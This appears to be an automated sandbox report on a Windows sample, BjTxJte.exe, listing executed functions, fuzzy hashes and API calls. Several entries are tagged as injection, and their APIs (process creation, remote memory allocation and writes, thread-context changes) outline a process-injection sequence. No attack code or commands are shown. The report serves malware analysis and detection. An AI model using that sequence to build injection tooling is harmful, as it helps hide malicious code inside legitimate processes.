Opcode ID: 0195f5a5d08256ca6f9474cd742ddb76bed5162fd34d00543268c49c8c39f4bb
Instruction ID: a2b798261716c9ca981a7c9cb6f2ce70d332c563f1ae139ef843a71c2ddaba8b
Opcode Fuzzy Hash: 0195f5a5d08256ca6f9474cd742ddb76bed5162fd34d00543268c49c8c39f4bb
Instruction Fuzzy Hash: 4B518E30E10218AFDF65EB64D984AAEB7F6EF85301F248529D906EB355DB31EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BjTxJte.exePID: 7928, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	194
Total number of Limit Nodes:	12

Executed Functions

Function 0149D7F8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0149D876
GetCurrentThread.KERNEL32 ref: 0149D8B3
GetCurrentProcess.KERNEL32 ref: 0149D8F0
GetCurrentThreadId.KERNEL32 ref: 0149D949

Memory Dump Source

Source File: 0000000F.00000002.2226042459.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_BjTxJte.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b1bee06a9b298e6e55a803787defee116187aaff9e830166fec81c45fa4bb11d
Instruction ID: c7321b668c16304c6362687c1c9e314cf2386cc8aa13f0f94a3fde60cd2ace9b
Opcode Fuzzy Hash: b1bee06a9b298e6e55a803787defee116187aaff9e830166fec81c45fa4bb11d
Instruction Fuzzy Hash: 765125B09003098FDB18DFAAD548BDEBFF5AF88314F20845AE519A7361DB389944CB65

Uniqueness

Uniqueness Score: -1.00%

Function 099CD2A4 Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 099CD4E6

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e2f87264ada33342697c0c167804e0a2fdf5003a17698fd1d5bb9c0b6238541e
Instruction ID: 17b640a7fca2284c9d875253827037e7b2097714ca16c9debe9acc32290fd81c
Opcode Fuzzy Hash: e2f87264ada33342697c0c167804e0a2fdf5003a17698fd1d5bb9c0b6238541e
Instruction Fuzzy Hash: B0A16BB1D00259DFDF14DF68CD51BADBBB2BF48304F14816AE848A7294DB749981CF92

Uniqueness

Uniqueness Score: -1.00%

Function 099CD2B0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 099CD4E6

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c50ca9ddb20e1a05840bcc528490be48e3208b050a378eea7e401010eeb666da
Instruction ID: d1668fee3228d203c5e64e66e4a637484d91f5cd4858598789a3bed67d86b294
Opcode Fuzzy Hash: c50ca9ddb20e1a05840bcc528490be48e3208b050a378eea7e401010eeb666da
Instruction Fuzzy Hash: EC915AB1D00219DFEF20DF69CC41BADBBB6BF48314F048169E848A7294DB749985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0149B55F Relevance: 1.7, APIs: 1, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0149B7C6

Memory Dump Source

Source File: 0000000F.00000002.2226042459.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_BjTxJte.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4cd9d9a428fdfe06db7dc3131000a48721c37157581859f93c7a980f4bfda3d1
Instruction ID: a17470273a6b2d0a54191017415a9362aea9f1ff779c749e8c7c314099f64412
Opcode Fuzzy Hash: 4cd9d9a428fdfe06db7dc3131000a48721c37157581859f93c7a980f4bfda3d1
Instruction Fuzzy Hash: 5E813570A00B058FDB25DF2AE144B5ABBF5FF88200F148A2ED58AD7B60D774E845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0149590C Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 014959C9

Memory Dump Source

Source File: 0000000F.00000002.2226042459.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_BjTxJte.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: ad084fa43c13759b2762cd15002d7b22158744d9c0570535375465b2771a5792
Instruction ID: 1664869296ba7443fb3a6ad3bea12231223a0106e64934387b713a53d656e900
Opcode Fuzzy Hash: ad084fa43c13759b2762cd15002d7b22158744d9c0570535375465b2771a5792
Instruction Fuzzy Hash: 3B41F2B1D00719CFDB25CFA9C884BDEBBB1BF49304F20806AD408AB265DB756946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 014944E4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 014959C9

Memory Dump Source

Source File: 0000000F.00000002.2226042459.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_BjTxJte.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0b56a665e5e1f5fff0baca7f5c3b1a6d14d0f6e9ea8d885f57e59873e25fea45
Instruction ID: c8d3c242fa2fdd446ea6158f04c9457d964e632bd1734c734ea64d79942927e4
Opcode Fuzzy Hash: 0b56a665e5e1f5fff0baca7f5c3b1a6d14d0f6e9ea8d885f57e59873e25fea45
Instruction Fuzzy Hash: F141F0B1C0071DCBDB25DFA9C884BCEBBB5BF49304F60806AD408AB265DB756946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 099CD020 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 099CD0B8

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 36670ebfe4ac21b262dbee7b4ae6973aac703bfc1aecf1b353776f7b242ca28b
Instruction ID: 7d30afbb0d9e9a6cffd544c9153c7007094c1dd5ec14e9d9cd13384ecd3fec4d
Opcode Fuzzy Hash: 36670ebfe4ac21b262dbee7b4ae6973aac703bfc1aecf1b353776f7b242ca28b
Instruction Fuzzy Hash: 772113B19003099FDB10DFA9C985BEEBBF5FF88310F10842AE959A7250D7789945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 099CD028 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 099CD0B8

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 50e8a6d26580a963149268fe3ae0118475e0b3e7cfca83e82e6d0712e3a4c520
Instruction ID: b23992b704fb178c75960f4c02ad71e93afce423e358fb4302ce474b35393233
Opcode Fuzzy Hash: 50e8a6d26580a963149268fe3ae0118475e0b3e7cfca83e82e6d0712e3a4c520
Instruction Fuzzy Hash: 6C2136B19003099FCB10DFAEC985BEEBBF5FF48310F10842AE959A7240C7789945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 099CCE88 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 099CCF0E

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ffac341f9b84e09b6e404f88738a5e85786dfacb46c713c14f41f69145af95ce
Instruction ID: 84772c9c2dd9f0a159411991862dff89d1b2c2548b1d782350b04c6f34f7724a
Opcode Fuzzy Hash: ffac341f9b84e09b6e404f88738a5e85786dfacb46c713c14f41f69145af95ce
Instruction Fuzzy Hash: C32125B1D002098FDB10DFAAC8857EEBBF4EF88314F10882ED459A7240D7789945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 099CD112 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 099CD198

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 0769f952ffd5dd22a627feed75324e2c366067acad3311a417d7ecf42467cfbd
Instruction ID: 302a7c7462a87285a12cd91bf67dc75506a0b0a97977ad2c7765a78c59a582a5
Opcode Fuzzy Hash: 0769f952ffd5dd22a627feed75324e2c366067acad3311a417d7ecf42467cfbd
Instruction Fuzzy Hash: F52116B1D002499FDB14DFAAC981AEEBBF5FF48310F50842AE959A7250C7389945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 099CCE90 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 099CCF0E

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 405b3f328a7df480e6685eb2527b9404695afc6459766819b803079f9f762fed
Instruction ID: 01388f66223fc749eb25c3749cdaac38aac035c7a2de4b42d6a7074cd91b22af
Opcode Fuzzy Hash: 405b3f328a7df480e6685eb2527b9404695afc6459766819b803079f9f762fed
Instruction Fuzzy Hash: 962135B19003098FDB10DFAAC8857AEBFF4EF48324F50842ED559A7240DB78A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 099CD118 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 099CD198

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f2b0a26329f333d1883851465383914a97dcf33a8589192dbeaf35b6e8a40de1
Instruction ID: 93aa7e9cc530c058456a1fa0b6253180da54a608f37cfeda8071de3025b9ccdc
Opcode Fuzzy Hash: f2b0a26329f333d1883851465383914a97dcf33a8589192dbeaf35b6e8a40de1
Instruction Fuzzy Hash: 142137B1C003499FDB10DFAAC980AEEFBF5FF48310F50842AE919A7250C7389944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0149DA40 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0149DAC7

Memory Dump Source

Source File: 0000000F.00000002.2226042459.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_BjTxJte.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 51a7f79e5e7c7359e38e9db57216edb41aac828d6b81092cf20e787c2cc47238
Instruction ID: 85f43343388abe618b51e83c7b5463ecdd223d7557b93f2aa3214d82f973db81
Opcode Fuzzy Hash: 51a7f79e5e7c7359e38e9db57216edb41aac828d6b81092cf20e787c2cc47238
Instruction Fuzzy Hash: 3321C4B5D002489FDB10CFAAD584ADEBFF9FB48310F14841AE918A3350D378A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0149AFB0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0149B841,00000800,00000000,00000000), ref: 0149BA52

Memory Dump Source

Source File: 0000000F.00000002.2226042459.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_BjTxJte.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 75b26108a5b76efbb822f7fb6f99fd4292579eecf2b5f656c570991ce3058c97
Instruction ID: 17b82b66cbe2dbb2fcb4df2298f53d13c9f4a6921a2162aac52df547f06d0cc4
Opcode Fuzzy Hash: 75b26108a5b76efbb822f7fb6f99fd4292579eecf2b5f656c570991ce3058c97
Instruction Fuzzy Hash: D611E4B69003499FDB10DF9AD444ADEFFF5EB48310F10842AE919A7210C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 099CCF60 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 099CCFD6

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f691cc9ed9303238e5eb93580fc370bf8803eb0794c237c839e4d4959e9a6bb6
Instruction ID: e527bd59a58d714e4416eb6d18595cf2a1a4aea25a618a5841d73d71dc26b095
Opcode Fuzzy Hash: f691cc9ed9303238e5eb93580fc370bf8803eb0794c237c839e4d4959e9a6bb6
Instruction Fuzzy Hash: 5E112971D002499FDB10DFA9C845AEEBFF5FF88310F10881AE559A7250C7799541CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 099CCF68 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 099CCFD6

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b8755de52710dd7b39606e3451d146d9b47a4a1913df7350a2278eb3e5bc09ab
Instruction ID: db4b24745fef6177c6499041d5b91f1906a75f8e23925b6a947ff67e2ea87b85
Opcode Fuzzy Hash: b8755de52710dd7b39606e3451d146d9b47a4a1913df7350a2278eb3e5bc09ab
Instruction Fuzzy Hash: F41149B18002499FDB10DFAAC844AEFBFF5FF48320F108819E559A7250C779A540CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0149B9E1 Relevance: 1.6, APIs: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0149B841,00000800,00000000,00000000), ref: 0149BA52

Memory Dump Source

Source File: 0000000F.00000002.2226042459.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_BjTxJte.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 69da1d93cedfbf1acc1e911584ee3c9116d228e472fbab5493476e5598eb0ccf
Instruction ID: dfec2e1bce0a76acd1a924951eaf370b007c41cef92d1caa623bab81f316759e
Opcode Fuzzy Hash: 69da1d93cedfbf1acc1e911584ee3c9116d228e472fbab5493476e5598eb0ccf
Instruction Fuzzy Hash: F111EFB6D002098FDB10CF9AD544ADEFBF5EF48321F14842AD919B7610C379A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 099CCDD8 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 099CCE42

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 79fc51754fdfec3575f96e17034e3d90dfc649eb1e75dc3b60a71f3dd292eb9d
Instruction ID: d6eea4967987fa5b2f72fdf23457ac278c3da61f2a9576586eb4ed9f2d0a2b3e
Opcode Fuzzy Hash: 79fc51754fdfec3575f96e17034e3d90dfc649eb1e75dc3b60a71f3dd292eb9d
Instruction Fuzzy Hash: BE1146B1D002488FDB20DFAAC8457EEBBF5EF98310F20881AD559A7250C778A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 099CCDE0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 099CCE42

Memory Dump Source

Source File: 0000000F.00000002.2234460137.00000000099C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_99c0000_BjTxJte.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 289c626abf7dd1e497c5a721f72ff25d6254c0042fdcab26bb760e519dedff23
Instruction ID: bcb60a288b28079ddf46e62d7e22fef13c0753eb456aa449297cb6eb7009f525
Opcode Fuzzy Hash: 289c626abf7dd1e497c5a721f72ff25d6254c0042fdcab26bb760e519dedff23
Instruction Fuzzy Hash: A41128B19003488FDB20DFAAC8457AEFBF5EF99320F108819D559A7240CB79A944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0149B760 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0149B7C6

Memory Dump Source

Source File: 0000000F.00000002.2226042459.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1490000_BjTxJte.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ecff3f8a2489468614aea86e7acee5f8822ceefd0bab2166315a0ab99784cf80
Instruction ID: a61adb294ab2fbca8a760a3bd6f50a39527372d8e1b475c1956c0bb9d7634e57
Opcode Fuzzy Hash: ecff3f8a2489468614aea86e7acee5f8822ceefd0bab2166315a0ab99784cf80
Instruction Fuzzy Hash: C5110CB6C002498FDB10DF9AD444A9EFBF8EF89220F14856AD928B7610C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0D8B12B8 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0D8B131D

Memory Dump Source

Source File: 0000000F.00000002.2236691515.000000000D8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0D8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d8b0000_BjTxJte.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ca7547448586fea0f20f5125fbcea3b15020695127110c6b5dab87ed96e4df49
Instruction ID: b8feac5e2b289e62f8515091d61f46f14b66a244a3df7d39aafd769b89b1799e
Opcode Fuzzy Hash: ca7547448586fea0f20f5125fbcea3b15020695127110c6b5dab87ed96e4df49
Instruction Fuzzy Hash: 1511E3B58003489FDB10DF99D485BEEBBF8FB58320F20841AE559A7610D379A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0D8B12C0 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0D8B131D

Memory Dump Source

Source File: 0000000F.00000002.2236691515.000000000D8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0D8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d8b0000_BjTxJte.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: fa28e89bb777c94a319c27272861100df34a355867a347880be0b22d9bef05cc
Instruction ID: 14ecc1a82287ad8293ff890485baa8d9f4e865922c469f16f1d3b3bfd6b09cd0
Opcode Fuzzy Hash: fa28e89bb777c94a319c27272861100df34a355867a347880be0b22d9bef05cc
Instruction Fuzzy Hash: EC1103B58003489FDB10DF9AD448BDEFBF8FB48320F108419E558A7600C379A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 013FD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2225695976.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_13fd000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c56f4e484975b8a962840e2ba08a0fbe65e14f5e1c99078ebba9fd646fc4c29
Instruction ID: 3a7fc920320d76bc78d4a7af87a54371cca9f7cf7fcf11576796da5c4a997276
Opcode Fuzzy Hash: 0c56f4e484975b8a962840e2ba08a0fbe65e14f5e1c99078ebba9fd646fc4c29
Instruction Fuzzy Hash: 4F214871100204DFDB05DF58D9C8F56BF69FB88318F20C16DDA091B256C73AE406C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 013FD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2225695976.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_13fd000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eab67417d4767dc34d26c45f9cdfaaa7f4f4dbf755e5ce5744a8ddc2b11ebed
Instruction ID: 6270645355bb121046141aad4f3554589ba935fbe757ba5ea8e256c12cc070eb
Opcode Fuzzy Hash: 9eab67417d4767dc34d26c45f9cdfaaa7f4f4dbf755e5ce5744a8ddc2b11ebed
Instruction Fuzzy Hash: 3B210371500244DFDB05DF98D9C8F26BF69FB8831CF20C56DEA090B256C33AD416CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0140D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2225776290.000000000140D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0140D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 706a051b5dc0dba4da9c5cfc93b425a125c30a40085d8bda43320567ff08a2c6
Instruction ID: 6e955a4f88176b5e1ea488323754f545a445d23ff48ad7956443dbf25d8d892f
Opcode Fuzzy Hash: 706a051b5dc0dba4da9c5cfc93b425a125c30a40085d8bda43320567ff08a2c6
Instruction Fuzzy Hash: FB21D671904204DFDB06DF99D580B26BB65FB84324F20C57ED9094B3A6C33AD40ACA61

Uniqueness

Uniqueness Score: -1.00%

Function 0140D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2225776290.000000000140D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0140D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38baafe0930b62e925664c72d48c2c3981ce564c87f0e585977b2e44f77bb56b
Instruction ID: b568877dbd677e003fc180ebe9cb0770ebd2ecaa3315fcb21183cfb0d6a8a5a8
Opcode Fuzzy Hash: 38baafe0930b62e925664c72d48c2c3981ce564c87f0e585977b2e44f77bb56b
Instruction Fuzzy Hash: EE2106B1904200DFDB16DFA8D980B16BF65EB84318F20C57AD90D4B3A6C33AD40BCA61

Uniqueness

Uniqueness Score: -1.00%

Function 0140D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2225776290.000000000140D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0140D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a66646bd057be263d6adb21d13868b2727576b4a25597b89521cc721bef1daf8
Instruction ID: e81026f452ada94532945bdfacb700d21249b52228d27b02827ca690c98bad1c
Opcode Fuzzy Hash: a66646bd057be263d6adb21d13868b2727576b4a25597b89521cc721bef1daf8
Instruction Fuzzy Hash: 402192755093808FDB03CF64D994716BF71EB46214F28C5EBD8498F6A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 013FD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2225695976.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_13fd000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 1f09f92946792221ed4251fe2a22984fe9be958d21956febcfcda8ae22348654
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 5E11DF72404280CFCB02CF54D5C8B16BF71FB88318F24C6ADD9490B256C336D45ADBA2

Uniqueness

Uniqueness Score: -1.00%

Function 013FD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2225695976.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_13fd000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 7239309409ab5a2758b9eb6712a65aa577bcd53aede761f3ad0516c1b8da541c
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: E411CD72404240CFDB02CF44D5C4B56BF61FB84224F24C6A9DA090A656C33AE45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0140D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2225776290.000000000140D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0140D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140d000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 513c7446042d04eb2e8f5ac99a825e1fae1cd20736e8d1677adcac34cfb01d98
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 3E11BE75904240DFDB02CF98C5C4B16BF61FB84224F24C6AED8494B7A6C33AD40ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 013FD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2225695976.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_13fd000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64419e0b0af577ae63d5636b123bcf466383a932bdf23a18d09e643f0c19fc19
